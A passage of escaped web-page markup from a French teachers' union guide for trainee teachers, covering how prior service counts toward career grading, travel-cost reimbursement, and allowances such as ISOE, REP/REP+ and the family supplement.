corps.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Chaque cas est diff\u00e9rent. Contactez votre section acad\u00e9mique pour d\u00e9terminer votre classement.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p><strong>Sont recens\u00e9es diverses situations dans ce m\u00e9mo :<\/strong><\/p>\n<p>Les agents non titulaires : MA, EAP (Emploi d\u2019avenir-professeur), AED (Assistant d\u2019\u00e9ducation), contractuels qui acc\u00e8dent \u00e0 un corps de fonctionnaire par concours (externe, interne, exceptionnel, r\u00e9serv\u00e9, troisi\u00e8me voie\u2026).<\/p>\n<p>Il existe deux types de prise en compte des services ant\u00e9rieurs dans le classement\u00a0:<\/p>\n<p>\u2022 le syst\u00e8me dit \u00ab de la reconstitution de carri\u00e8re \u00bb\u00a0qui concerne les MA, EAP, AED\u00a0;<\/p>\n<p>\u2022 le syst\u00e8me dit \u00ab des r\u00e9ductions d\u2019anciennet\u00e9 \u00bb qui concerne les contractuels ;<\/p>\n<p>Pour les laur\u00e9ats du troisi\u00e8me concours, une bonification sp\u00e9cifique \u00add\u2019anciennet\u00e9 est appliqu\u00e9e (voir D).<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">A) Tableau de classement des AED, EAP et MA (art. 11 du d\u00e9cret 51-1423 du 5 d\u00e9cembre 1951)<\/p>\n<figure class=\"wp-block-table\">\n<table>\n<tbody>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">AED, EAP, MA<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Classement certifi\u00e9<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Classement certifi\u00e9<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Classement agr\u00e9g\u00e9<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Classement agr\u00e9g\u00e9<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">Ann\u00e9es \u00e0 temps complet<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Echelon<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Reliquat d\u2019anciennet\u00e9 dans l\u2019\u00e9chelon<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Echelon<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">Reliquat d\u2019anciennet\u00e9 dans l\u2019\u00e9chelon<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">1<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">1<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">8 mois 27 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">1<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">6 mois 26 jours<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">2<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">2<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">5 mois 23 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">2<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">1 mois 21 jours<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">3<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">3<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">2 mois 20 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">2<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">8 mois 17 jours<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">4<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">3<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">11 mois 17 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">3<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">3 mois 13 jours<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">5<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">3<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">1 an 8 mois 13 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">3<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">10 mois 9 jours<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">6<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">4<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">5 mois 10 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">3<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">1 an 5 mois 4 jours<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">7<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">4<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">1 an 2 mois 7 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">4<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">pas de reliquat<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\">8<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">4<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">1 ans 11 mois 3 jours<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">4<\/td>\n<td class=\"has-text-align-center\" data-align=\"center\">6 mois 26 jours<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<figure class=\"wp-block-table\">\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>En tenant compte des coefficients caract\u00e9ristiques du corps de d\u00e9part (100) et du corps d\u2019accueil (135 si certifi\u00e9 ou 175 si agr\u00e9g\u00e9), le calcul du classement dans le corps des professeurs certifi\u00e9s apr\u00e8s une ann\u00e9e \u00e0 temps complet d\u2019AED se fait de la mani\u00e8re suivante\u00a0: 1 an \u00d7 100\/135 = 0,741 an soit en jour 0,741 \u00d7 360 (dur\u00e9e administrative d\u2019une ann\u00e9e exprim\u00e9e en jours) = 267 jours soit 8 mois et 27 jours.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">B) Syst\u00e8me des r\u00e9ductions d\u2019anciennet\u00e9 pour les contractuels<\/p>\n<p>(<a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/LEGITEXT000006060603\/2020-11-06\/\">art. 11-5 du d\u00e9cret 51-1423 du 5 d\u00e9cembre 1951<\/a>)<\/p>\n<p>Avant la nouvelle r\u00e9daction de l\u2019article 11-5 du d\u00e9cret 51-1423 du 5 d\u00e9cembre 1951 dans sa version publi\u00e9e au JORF du 6\/09\/2014 (<a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/JORFTEXT000029426038\/2020-11-06\/\">d\u00e9cret 2014-1006 du 4 septembre 2014<\/a>), les contractuels \u00e9taient majoritairement exclus d\u2019un v\u00e9ritable classement en raison d\u2019un alin\u00e9a commun\u00e9ment appel\u00e9 \u00ab\u00a0clause du butoir\u00a0\u00bb. Il privait les contractuels d\u2019un quelconque classement quelle que soit la dur\u00e9e de leur p\u00e9riode d\u2019activit\u00e9 en tant que non-titulaire, si longue soit-elle.<\/p>\n<p>Le SNES et les syndicats de la FSU se sont toujours battus pour faire dispara\u00eetre ce dispositif inique et ont obtenu enfin \u00e0 la rentr\u00e9e 2014 qu\u2019on puisse prendre en compte l\u2019int\u00e9gralit\u00e9 de la p\u00e9riode d\u2019exercice en tant que non-titulaire pour calculer le classement.<\/p>\n<p><strong>Cette nouvelle r\u00e9daction est la suivante\u00a0:<\/strong><\/p>\n<p><em>\u00ab\u00a0Les agents qui justifient de services accomplis en qualit\u00e9 d\u2019agent public non titulaire sont nomm\u00e9s dans leur nouveau corps \u00e0 un \u00e9chelon \u00add\u00e9termin\u00e9 du grade de d\u00e9but de ce dernier en prenant en compte, sur la base des dur\u00e9es d\u2019avancement \u00e0 l\u2019anciennet\u00e9 fix\u00e9es par les dispositions statutaires r\u00e9gissant leur nouveau corps, pour chaque avancement d\u2019\u00e9chelon, une fraction de leur anciennet\u00e9 de service dans les conditions suivantes\u00a0:<\/em><\/p>\n<p><em>1\u00b0 Les services accomplis dans des fonctions du niveau de la cat\u00e9gorie A sont retenus \u00e0 raison de la moiti\u00e9 de leur dur\u00e9e jusqu\u2019\u00e0 douze ans et \u00e0 \u00adraison des trois quarts au-del\u00e0 de douze ans\u00a0;<\/em><\/p>\n<p>[\u2026]<\/p>\n<p><em>Il n\u2019est pas tenu compte des services lorsque l\u2019interruption qui s\u00e9pare leur cessation de la nomination dans le nouveau corps est sup\u00e9rieure \u00e0 un an. Les services pris en compte peuvent \u00eatre discontinus, \u00e0 la condition que les interruptions de fonctions ne soient pas sup\u00e9rieures \u00e0 un an. \u00bb<\/em><\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td><strong>Exemple d\u2019application. <\/strong><br \/>\nUn(e) coll\u00e8gue contractuel(le) pendant quatre ans \u00e0 l\u2019indice 367 (contractuel 2e cat\u00e9gorie) du 1\/09\/2016 au 31\/08\/2020 se voit class\u00e9(e) directement au 3e \u00e9chelon des certifi\u00e9-e-s soit \u00e0 l\u2019indice 448. En effet 4 ans \u00d7 0,5 = 2 ans dur\u00e9e qui repr\u00e9sente celle n\u00e9cessaire pour passer du 1er \u00e9chelon au 3e \u00e9chelon.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">La clause de sauvegarde<\/p>\n<p>Pour les coll\u00e8gues b\u00e9n\u00e9ficiant d\u2019un indice \u00e9lev\u00e9 (sup\u00e9rieur \u00e0 celui du 1er \u00e9chelon), une clause dite de sauvegarde a \u00e9t\u00e9 mise en place en \u00adseptembre 2013.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td><strong>Exemple d\u2019application.<\/strong><br \/>\nUn(e) coll\u00e8gue contractuel(le) depuis quatre ans \u00e0 l\u2019indice 476 (indice du 5e \u00e9chelon des certifi\u00e9s) serait sans cette disposition class\u00e9(e) au 3e \u00e9chelon des certifi\u00e9s sans reliquat soit \u00e0 l\u2019indice 448. Il ou elle pourra conserver pendant quatre ans l\u2019indice du 5e \u00e9chelon, c\u2019est-\u00e0-dire pendant la dur\u00e9e \u00adcorrespondant \u00e0 son arriv\u00e9e au 5e \u00e9chelon.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-green-cyan-color has-text-color\">C) Quelques autres exemples de prise en compte<\/p>\n<p>\u2022 Le service national, pour la totalit\u00e9 de sa dur\u00e9e, quel que soit le moment o\u00f9 il a \u00e9t\u00e9 effectu\u00e9 (10 mois de service national = 10 mois de carri\u00e8re certifi\u00e9, agr\u00e9g\u00e9 ou CPE). Les ann\u00e9es accomplies en tant que volontaire depuis la suppression du service national (d\u00e9cembre 2000) sont trait\u00e9es de mani\u00e8re identique. Objecteur de conscience : dur\u00e9e du service national, vingt mois, mais dix mois seulement sont pris en compte. Les laur\u00e9ats des concours appartenant \u00e0 l\u2019un des \u00c9tats de l\u2019Union europ\u00e9enne, peuvent faire valider le service national accompli dans leur pays d\u2019origine (loi n\u00b0 96-1093 du 16\/12\/1996 \u2013 JO du 17\/12\/1996).<\/p>\n<p>\u2022 Le temps pass\u00e9 en tant qu\u2019\u00e9l\u00e8ve ENS dans la limite de quatre ans (les deux premi\u00e8res ann\u00e9es pour moiti\u00e9, les deux suivantes pour trois quarts en cas d\u2019acc\u00e8s au corps des agr\u00e9g\u00e9s, pour la totalit\u00e9 en cas d\u2019acc\u00e8s au corps des certifi\u00e9s).<\/p>\n<p>\u2022 Les ann\u00e9es d\u2019activit\u00e9 professionnelle accomplies en qualit\u00e9 de cadre par les certifi\u00e9s admis au CAPET qui peuvent justifier d\u2019au moins cinq ann\u00e9es de pratique professionnelle et de la qualit\u00e9 de cadre, \u00e0 raison des deux tiers de leur dur\u00e9e pour les ann\u00e9es effectu\u00e9es au-del\u00e0 de l\u2019\u00e2ge de 20 ans.<\/p>\n<p>\u2022 Les services de professeur (y compris ceux accomplis en qualit\u00e9 de recrut\u00e9 local), de lecteur ou d\u2019assistant \u00e0 l\u2019\u00e9tranger sans limitation de dur\u00e9e et apr\u00e8s avis du minist\u00e8re des Affaires \u00e9trang\u00e8res : seule la dur\u00e9e effective, indiqu\u00e9e par le(s) certificat(s) d\u2019exercice est susceptible d\u2019\u00eatre prise en compte.<\/p>\n<p>\u2022 Les services effectifs d\u2019enseignement accomplis dans l\u2019enseignement priv\u00e9, pour les deux tiers de la dur\u00e9e s\u2019agissant d\u2019un \u00e9tablissement hors contrat, pour la totalit\u00e9 s\u2019agissant d\u2019un \u00e9tablissement sous contrat ; mais cette dur\u00e9e est r\u00e9vis\u00e9e en fonction des coefficients caract\u00e9ristiques (voir fonctionnaires ou non-titulaires du MEN).<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">D) Bonification sp\u00e9cifique d\u2019anciennet\u00e9<\/p>\n<figure class=\"wp-block-table\">\n<table>\n<tbody>\n<tr>\n<td>3\u00e8me concours<\/td>\n<td>Les laur\u00e9ats du 3e concours peuvent b\u00e9n\u00e9ficier, sur leur demande, d\u2019une bonification sp\u00e9cifique : \u2022 d\u2019un an lorsque la dur\u00e9e des activit\u00e9s professionnelles est inf\u00e9rieure \u00e0 six ans ; \u2022 de deux ans lorsque cette dur\u00e9e est comprise entre six et neuf ans ; \u2022 de trois ans lorsque cette dur\u00e9e est de neuf ans et plus. Si le laur\u00e9at du 3e concours peut b\u00e9n\u00e9ficier d\u2019un classement autre, il peut opter entre la bonification ou la prise en compte de l\u2019anciennet\u00e9 acquise au titre des services ant\u00e9rieurs.<\/td>\n<td>Attention ! Cette bonification ne peut pas se cumuler avec un classement d\u00fb au titre d\u2019une des situations pr\u00e9c\u00e9dentes.<\/td>\n<td><a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/LEGITEXT000006061962\/2011-02-18\/\">D\u00e9cret n\u00b0 72-581 art. 29 <\/a>(d\u00e9cret statutaire certifi\u00e9s).<\/td>\n<\/tr>\n<tr>\n<td>CAPES, CAPET, CPE<\/td>\n<td>Les laur\u00e9ats du 3e concours peuvent b\u00e9n\u00e9ficier, sur leur demande, d\u2019une bonification sp\u00e9cifique : \u2022 d\u2019un an lorsque la dur\u00e9e des activit\u00e9s professionnelles est inf\u00e9rieure \u00e0 six ans ; \u2022 de deux ans lorsque cette dur\u00e9e est comprise entre six et neuf ans ; \u2022 de trois ans lorsque cette dur\u00e9e est de neuf ans et plus. Si le laur\u00e9at du 3e concours peut b\u00e9n\u00e9ficier d\u2019un classement autre, il peut opter entre la bonification ou la prise en compte de l\u2019anciennet\u00e9 acquise au titre des services ant\u00e9rieurs.<\/td>\n<td>Attention ! Cette bonification ne peut pas se cumuler avec un classement d\u00fb au titre d\u2019une des situations pr\u00e9c\u00e9dentes.<\/td>\n<td><a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/LEGITEXT000006061763\/2009-01-07\/\">D\u00e9cret n\u00b0 70-738 art. 9 <\/a>(d\u00e9cret statutaire CPE).<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<figure class=\"wp-block-table\">\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>En cas de doute ou de difficult\u00e9s, contactez vos sections acad\u00e9miques.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Frais de d\u00e9placement<\/h4>\n<p class=\"has-vivid-red-color has-text-color\">1. D\u00e9placements domicile\/\u00e9tablissement d\u2019affectation<\/p>\n<p>(d\u00e9cret 2010-676 du 21 juin 2010, modifi\u00e9 par le <a href=\"https:\/\/www.legifrance.gouv.fr\/jorf\/id\/JORFTEXT000031273514\/\">d\u00e9cret 2015-1228 du 2 octobre 2015<\/a>, <a href=\"https:\/\/www.fonction-publique.gouv.fr\/files\/files\/textes_de_reference\/2011\/C_20110322_0003.pdf\">circulaire DGAFP du 22 mars 2011<\/a>)<\/p>\n<p>Comme tout salari\u00e9, les stagiaires b\u00e9n\u00e9ficient d\u2019une prise en charge partielle de leurs frais de d\u00e9placements domicile\/travail par l\u2019employeur, \u00e0 condition toutefois d\u2019utiliser r\u00e9guli\u00e8rement (abonnement) un mode de transport collectif ou un service public de location de v\u00e9los.<\/p>\n<p>Cette prise en charge s\u2019applique sur tout le territoire, elle est \u00e9gale \u00e0 la moiti\u00e9 du co\u00fbt de l\u2019abonnement, dans la limite d\u2019un plafond de 86,16 e\/mois.<\/p>\n<p>Le versement est mensuel, il couvre les p\u00e9riodes d\u2019utilisation. Pas de prise en charge pour les p\u00e9riodes de cong\u00e9s, quelle que soit leur nature, sauf si une partie du mois a \u00e9t\u00e9 travaill\u00e9e.<\/p>\n<p>Aucune prise en charge en revanche en cas d\u2019utilisation ponctuelle des transports en commun, ou d\u2019utilisation d\u2019un v\u00e9hicule personnel.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">2. D\u00e9placements vers le lieu de formation<\/p>\n<p>La prise en charge de ces frais ob\u00e9it \u00e0 des r\u00e8gles diff\u00e9rentes, selon la cat\u00e9gorie de stagiaires (\u00e0 temps plein ou \u00e0 mi-temps) concern\u00e9e.<\/p>\n<p>Le remboursement ne peut avoir lieu que si vous vous d\u00e9placez dans une commune diff\u00e9rente de celle de votre \u00e9tablissement d\u2019affectation, de celle de votre domicile et de toute autre commune limitrophe de l\u2019une ou l\u2019autre qui serait desservie par les transports en commun.<\/p>\n<p>Vous devez pouvoir pr\u00e9senter une convocation sur laquelle est stipul\u00e9e que les frais de transport sont pris en charge.<\/p>\n<p><strong>\u2022 Stagiaires assurant un service \u00e0 temps plein<\/strong><\/p>\n<p>La prise en charge de vos frais demeure r\u00e9gie par les dispositions pr\u00e9vues par le d\u00e9cret 2006-781 du 3 juillet 2006\u00a0: prise en charge de vos frais de d\u00e9placement sur la base du tarif Sncf 2e classe et indemnisation de vos frais de repas, voire de nuit\u00e9e, s\u2019il y a lieu.<\/p>\n<p><strong>\u2022 Stagiaires assurant un service \u00e0 mi-temps<\/strong><\/p>\n<p>La prise en charge des frais de d\u00e9placement vers le lieu de formation passe d\u00e9sormais par le versement d\u2019une indemnit\u00e9 forfaitaire de formation. Mise en place par le d\u00e9cret 2014-1021 du 8 septembre 2014, cette indemnit\u00e9, d\u2019un montant annuel de 1 000\u00a0euros, se substitue \u00e0 la prise en charge traditionnelle des frais de d\u00e9placement, applicable aux stagiaires \u00e0 temps plein.<\/p>\n<p>L\u2019indemnit\u00e9 forfaitaire de formation est vers\u00e9e en dix fois, d\u2019octobre \u00e0 juillet, elle est exon\u00e9r\u00e9e de cotisations sociales et n\u2019est pas imposable. Elle peut \u00eatre cumul\u00e9e avec la prise en charge partielle des frais de d\u00e9placements domicile\/travail. Maintenue dans les m\u00eames proportions que le traitement en cas de cong\u00e9s, elle cesse n\u00e9anmoins d\u2019\u00eatre vers\u00e9e en cas de cong\u00e9s longue maladie ou longue dur\u00e9e.<\/p>\n<p>Ind\u00e9pendante de la distance r\u00e9ellement parcourue et du nombre de d\u00e9placements mensuels, cette indemnit\u00e9 simplifie et acc\u00e9l\u00e8re la prise en charge des frais de d\u00e9placements. Mais elle engendre des in\u00e9galit\u00e9s et peut aussi se r\u00e9v\u00e9ler insuffisante au regard des frais r\u00e9ellement support\u00e9s si le nombre de d\u00e9placements est \u00e9lev\u00e9 et\/ou si la distance \u00e0 parcourir pour se rendre sur le lieu de formation est importante.<\/p>\n<p>Dans ce cas, la circulaire minist\u00e9rielle d\u2019application, permet aux stagiaires normalement \u00e9ligibles au versement de l\u2019indemnit\u00e9 forfaitaire de demander \u00ab\u00a0\u00e0 titre exceptionnel\u00a0\u00bb \u00e0 conserver le b\u00e9n\u00e9fice de la prise en charge traditionnelle, \u00e9tablie sur la base du d\u00e9cret 2006-781. Il faut en faire la demande aux services rectoraux, en tout d\u00e9but d\u2019ann\u00e9e scolaire, avant que l\u2019indemnit\u00e9 forfaitaire soit mise en place. Nous demandons une \u00adr\u00e9vision de cette indemnit\u00e9.<\/p>\n<p><strong>N\u2019h\u00e9sitez pas \u00e0 solliciter les militants de <a href=\"https:\/\/www.snes.edu\/le-snes-pres-de-chez-vous\/\">nos sections acad\u00e9miques.<\/a><\/strong><\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9s li\u00e9es aux missions<\/h4>\n<p class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9 de suivi et d\u2019orientation des \u00e9l\u00e8ves (ISOE)<\/p>\n<p>En 1989, la carri\u00e8re des enseignants a \u00e9t\u00e9 revaloris\u00e9e, entre autres avec la cr\u00e9ation d\u2019une indemnit\u00e9 (l\u2019ISOE) qui n\u2019est pas prise en compte dans le calcul de la retraite.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous continuons de demander l\u2019int\u00e9gration de la totalit\u00e9 cette indemnit\u00e9 dans le salaire et donc dans le montant de la retraite.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Le montant annuel de la part fixe de l\u2019isoe (vers\u00e9e \u00e0 tous) est de 1 213,56 e mensualis\u00e9 \u00e0 101,13 e. Elle est vers\u00e9e au prorata du temps de service d\u2019enseignement. Ainsi, un stagiaire \u00e0 mi-temps touchera la moiti\u00e9 de cette indemnit\u00e9. En revanche, un stagiaire \u00e0 temps plein touchera la totalit\u00e9 de cette indemnit\u00e9.<\/p>\n<p>Les professeurs principaux per\u00e7oivent en plus la part modulable de l\u2019ISOE.<\/p>\n<p>Les taux ont \u00e9t\u00e9 fix\u00e9s par le minist\u00e8re en fonction des niveaux d\u2019intervention : Sixi\u00e8me, Cinqui\u00e8me, Quatri\u00e8me des coll\u00e8ges et LP : 1 245,84 e ; Troisi\u00e8me des coll\u00e8ges et LP et Seconde de LEGT : 1 425,84 e ; Premi\u00e8re et Terminale des LEGT et autres divisions des LP : 906,24 e. Pour les agr\u00e9g\u00e9s, taux fixe et non revalorisable tant que ce taux demeurera sup\u00e9rieur au taux de la part modulable (professeurs \u00adprincipaux en Sixi\u00e8me, Cinqui\u00e8me, Quatri\u00e8me, Troisi\u00e8me et Seconde) : 1 609,44 e. Elle est \u00advers\u00e9e comme suit : 2\/12e en octobre, puis 1\/12e de novembre \u00e0 ao\u00fbt.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9 de suj\u00e9tion vers\u00e9e aux professeurs d\u2019EPS et aux PLP<\/p>\n<p>Montant annuel\u00a0: 400 e pour les PEPS et PLP assurant un service d\u2019au moins 6 heures en classe de Premi\u00e8re et de Terminale (GT et pro) ou pr\u00e9parant \u00e0 un certificat d\u2019aptitude professionnelle (d\u00e9cret n\u00b0 2015-476).<\/p>\n<p>L\u2019exclusion des pond\u00e9rations pour enseignement en classes de Premi\u00e8re et Terminales des PEPS et PLP avec attribution d\u2019une indemnit\u00e9 de 400 e est insuffisante et ne correspond pas \u00e0 notre demande initiale d\u2019alignement sur le syst\u00e8me de pond\u00e9ration des autres disciplines. Par ailleurs le SNEP-FSU avec le SNUEP-FSU ont demand\u00e9 des taux index\u00e9s sur le point d\u2019indice et une indemnit\u00e9 sup\u00e9rieure \u00e0 400 e et exigent l\u2019application du syst\u00e8me de pond\u00e9ration.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9 de suj\u00e9tion pour effectif pl\u00e9thorique (sup\u00e9rieur \u00e0 35 \u00e9l\u00e8ves)<\/p>\n<p>Indemnit\u00e9s de suj\u00e9tion vers\u00e9e aux enseignants assurant au moins 6 heures d\u2019enseignements devant un ou plusieurs groupes d\u2019\u00e9l\u00e8ves \u00adsup\u00e9rieurs \u00e0 35 (d\u00e9cret 2015-477). Le taux annuel de l\u2019indemnit\u00e9 est fix\u00e9 \u00e0 1 250\u00a0e par an.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9 forfaitaire d\u2019\u00e9ducation attribu\u00e9e aux CPE<\/p>\n<p>Montant annuel identique \u00e0 l\u2019ISOE. Elle est vers\u00e9e au prorata du temps de service. Ainsi, un stagiaire \u00e0 mi-temps touchera la moiti\u00e9 de cette indemnit\u00e9. Par contre un stagiaire \u00e0 temps plein touchera la totalit\u00e9 de cette indemnit\u00e9.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9 de suj\u00e9tions particuli\u00e8res attribu\u00e9e aux documentalistes<\/p>\n<p>Montant annuel de 767,10 e versement mensuel. Elle est vers\u00e9e au prorata du temps de service d\u2019enseignement. Ainsi, un stagiaire \u00e0 mi-temps touchera la moiti\u00e9 de cette indemnit\u00e9. Par contre un stagiaire \u00e0 temps plein touchera la totalit\u00e9 de cette indemnit\u00e9.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Pour les professeurs documentalistes, le SNES-FSU demande l\u2019ali\u00adgnement de l\u2019Indemnit\u00e9 de suj\u00e9tions particuli\u00e8res (ISP) sur la part fixe de l\u2019ISOE. Pour les Psy-\u00c9N, il demande l\u2019alignement de l\u2019indemnit\u00e9 sur celle des Psy-\u00c9N du premier degr\u00e9. Indemnit\u00e9 de fonction pour les Psy-\u00c9N : montant annuel de 767,10 e (versement mensuel). Les stagiaires n\u2019exer\u00e7ant pas en tant que Psy-\u00c9N ne touchent pas cette indemnit\u00e9.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9s REP et REP+<\/p>\n<p>La politique minist\u00e9rielle d\u2019\u00e9ducation prioritaire distingue deux niveaux d\u2019intervention\u00a0: \u00ab\u00a0Les Rep regroupent les coll\u00e8ges et les \u00e9coles rencontrant des difficult\u00e9s sociales plus significatives que celles des coll\u00e8ges et \u00e9coles situ\u00e9s hors \u00e9ducation prioritaire. Les Rep+ concernent les quartiers ou les secteurs isol\u00e9s qui connaissent les plus grandes concentrations de difficult\u00e9s sur le territoire. [\u2026]<\/p>\n<p>Les arr\u00eat\u00e9s du 30 janvier 2015 fixant la liste des REP et \u00ab\u00a0r\u00e9seau d\u2019\u00e9ducation prioritaire renforc\u00e9 \u00bb (REP+) ont \u00e9t\u00e9 publi\u00e9s au BO n\u00b0 6 du 5 f\u00e9vrier 2015. 704 coll\u00e8ges sont class\u00e9s REP et 351 portent l\u2019\u00e9tiquette REP+. La r\u00e9mun\u00e9ration annuelle brute est de 4 646 e pour exercice \u00e0 temps complet dans un \u00e9tablissement REP+ et de 1 734 e dans un \u00e9tablissement REP. Elle est vers\u00e9e au prorata du temps d\u2019enseignement. Le versement est mensuel et le taux n\u2019\u00e9volue pas avec celui du point d\u2019indice.<\/p>\n<p>Les Psy-\u00c9N exer\u00e7ant dans l\u2019un au moins des \u00e9tablissements REP ou REP+ per\u00e7oivent l\u2019indemnit\u00e9 REP.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9s li\u00e9es \u00e0 la situation personnelle<\/h4>\n<p class=\"has-vivid-red-color has-text-color\">Indemnit\u00e9 de r\u00e9sidence (IR)<\/p>\n<p>La perception de cette indemnit\u00e9 est li\u00e9e \u00e0 l\u2019inscription de l\u2019\u00e9tablissement d\u2019exercice en zone 1 (IR 3 %), 2 (IR 1 %) ou 3 (IR 0 %). Le taux s\u2019applique au traitement brut. De nombreux \u00e9tablissements sont class\u00e9s en zone 3 car l\u2019action syndicale a permis d\u2019int\u00e9grer l\u2019essentiel de l\u2019IR dans le traitement principal. Les \u00e9tablissements d\u2019une m\u00eame acad\u00e9mie ou d\u2019un m\u00eame d\u00e9partement peuvent \u00eatre class\u00e9s en zone 1, 2 ou 3. Les \u00e9tablissements de la r\u00e9gion parisienne sont situ\u00e9s en zone 1 sauf quelques communes.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Se renseigner aupr\u00e8s de nos sections acad\u00e9miques (S3) ou sur nos sites.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">Suppl\u00e9ment familial de traitement (SFT)<\/p>\n<p>Il est attribu\u00e9, ind\u00e9pendamment des prestations familiales, \u00e0 tous les fonctionnaires qui en font la demande ! Les droits partent de la naissance du premier enfant et le versement est per\u00e7u tant que l\u2019enfant reste \u00e0 charge (18 ou 20 ans selon les cas).<\/p>\n<p>\u2013 R\u00e9f\u00e9rence : <a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/LEGITEXT000005628057\/2020-11-06\/\">d\u00e9cret 99-491 du 10 juin 1999.<\/a><\/p>\n<p>Le taux est identique jusqu\u2019\u00e0 l\u2019indice net major\u00e9 449 :<\/p>\n<p>\u2022 1 enfant : 2,29 \u20ac<\/p>\n<p>\u2022 2 enfants : 73,79 \u20ac<\/p>\n<p>\u2022 3 enfants : 183,56 \u20ac<\/p>\n<p>\u2022 Par enfant en plus : 130,81 \u20ac<\/p>\n<h3 class=\"has-vivid-green-cyan-color 